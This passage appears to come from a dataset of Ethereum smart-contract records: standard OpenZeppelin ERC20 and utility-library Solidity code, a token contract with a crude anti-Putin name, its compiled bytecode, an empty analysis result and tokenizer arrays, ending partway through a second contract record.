address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contract-60bf88bc58.sol pragma solidity ^0.8.4; /// @custom:security-contact putin@khuylo.com contract PUTINKHUYLO is ERC20 { constructor() ERC20("PUTIN KHUYLO", "KHUYLO") { _mint(msg.sender, 14100000000000 * 10 ** decimals()); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e0f565b60405180910390f35b6100e660048036038101906100e19190610c59565b610308565b6040516100f39190610df4565b60405180910390f35b61010461032b565b6040516101119190610f11565b60405180910390f35b610134600480360381019061012f9190610c06565b610335565b6040516101419190610df4565b60405180910390f35b610152610364565b60405161015f9190610f2c565b60405180910390f35b610182600480360381019061017d9190610c59565b61036d565b60405161018f9190610df4565b60405180910390f35b6101b260048036038101906101ad9190610b99565b610417565b6040516101bf9190610f11565b60405180910390f35b6101d061045f565b6040516101dd9190610e0f565b60405180910390f35b61020060048036038101906101fb9190610c59565b6104f1565b60405161020d9190610df4565b60405180910390f35b610230600480360381019061022b9190610c59565b6105db565b60405161023d9190610df4565b60405180910390f35b610260600480360381019061025b9190610bc6565b6105fe565b60405161026d9190610f11565b60405180910390f35b60606003805461028590611041565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611041565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600080610313610685565b905061032081858561068d565b600191505092915050565b6000600254905090565b600080610340610685565b905061034d858285610858565b6103588585856108e4565b60019150509392505050565b60006012905090565b600080610378610685565b905061040c818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104079190610f63565b61068d565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461046e90611041565b80601f016020809104026020016040519081016040528092919081815260200182805461049a90611041565b80156104e75780601f106104bc576101008083540402835291602001916104e7565b820191906000526020600020905b8154815290600101906020018083116104ca57829003601f168201915b5050505050905090565b6000806104fc610685565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156105c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b990610ef1565b60405180910390fd5b6105cf828686840361068d565b60019250505092915050565b6000806105e6610685565b90506105f38185856108e4565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f490610ed1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561076d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076490610e51565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084b9190610f11565b60405180910390a3505050565b600061086484846105fe565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108de57818110156108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790610e71565b60405180910390fd5b6108dd848484840361068d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b90610eb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90610e31565b60405180910390fd5b6109cf838383610b65565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90610e91565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ae89190610f63565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b4c9190610f11565b60405180910390a3610b5f848484610b6a565b50505050565b505050565b505050565b600081359050610b7e816112ea565b92915050565b600081359050610b9381611301565b92915050565b600060208284031215610baf57610bae6110d1565b5b6000610bbd84828501610b6f565b91505092915050565b60008060408385031215610bdd57610bdc6110d1565b5b6000610beb85828601610b6f565b9250506020610bfc85828601610b6f565b9150509250929050565b600080600060608486031215610c1f57610c1e6110d1565b5b6000610c2d86828701610b6f565b9350506020610c3e86828701610b6f565b9250506040610c4f86828701610b84565b9150509250925092565b60008060408385031215610c7057610c6f6110d1565b5b6000610c7e85828601610b6f565b9250506020610c8f85828601610b84565b9150509250929050565b610ca281610fcb565b82525050565b6000610cb382610f47565b610cbd8185610f52565b9350610ccd81856020860161100e565b610cd6816110d6565b840191505092915050565b6000610cee602383610f52565b9150610cf9826110e7565b604082019050919050565b6000610d11602283610f52565b9150610d1c82611136565b604082019050919050565b6000610d34601d83610f52565b9150610d3f82611185565b602082019050919050565b6000610d57602683610f52565b9150610d62826111ae565b604082019050919050565b6000610d7a602583610f52565b9150610d85826111fd565b604082019050919050565b6000610d9d602483610f52565b9150610da88261124c565b604082019050919050565b6000610dc0602583610f52565b9150610dcb8261129b565b604082019050919050565b610ddf81610ff7565b82525050565b610dee81611001565b82525050565b6000602082019050610e096000830184610c99565b92915050565b60006020820190508181036000830152610e298184610ca8565b905092915050565b60006020820190508181036000830152610e4a81610ce1565b9050919050565b60006020820190508181036000830152610e6a81610d04565b9050919050565b60006020820190508181036000830152610e8a81610d27565b9050919050565b60006020820190508181036000830152610eaa81610d4a565b9050919050565b60006020820190508181036000830152610eca81610d6d565b9050919050565b60006020820190508181036000830152610eea81610d90565b9050919050565b60006020820190508181036000830152610f0a81610db3565b9050919050565b6000602082019050610f266000830184610dd6565b92915050565b6000602082019050610f416000830184610de5565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f6e82610ff7565b9150610f7983610ff7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fae57610fad611073565b5b828201905092915050565b6000610fc482610fd7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561102c578082015181840152602081019050611011565b8381111561103b576000848401525b50505050565b6000600282049050600182168061105957607f821691505b6020821081141561106d5761106c6110a2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6112f381610fb9565b81146112fe57600080fd5b50565b61130a81610ff7565b811461131557600080fd5b5056fea2646970667358221220ba1bdae56f18c016123785d1597ff1b15a84af887ac49a38ff31079ad1b501d064736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 21486, 2629, 12879, 2620, 2546, 2549, 4246, 2620, 4246, 14141, 29292, 2050, 2581, 23352, 2063, 2581, 2475, 2094, 23352, 2620, 19736, 22022, 2692, 2278, 2581, 2546, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1030, 1018, 1012, 1019, 1012, 1014, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,085
0x96316355c44be69414756d6706c61e61aecbd5f3
// File: openzeppelin-solidity/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.3.2 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.3.2 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.3.2 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.sol // OpenZeppelin Contracts v4.3.2 (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.3.2 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal 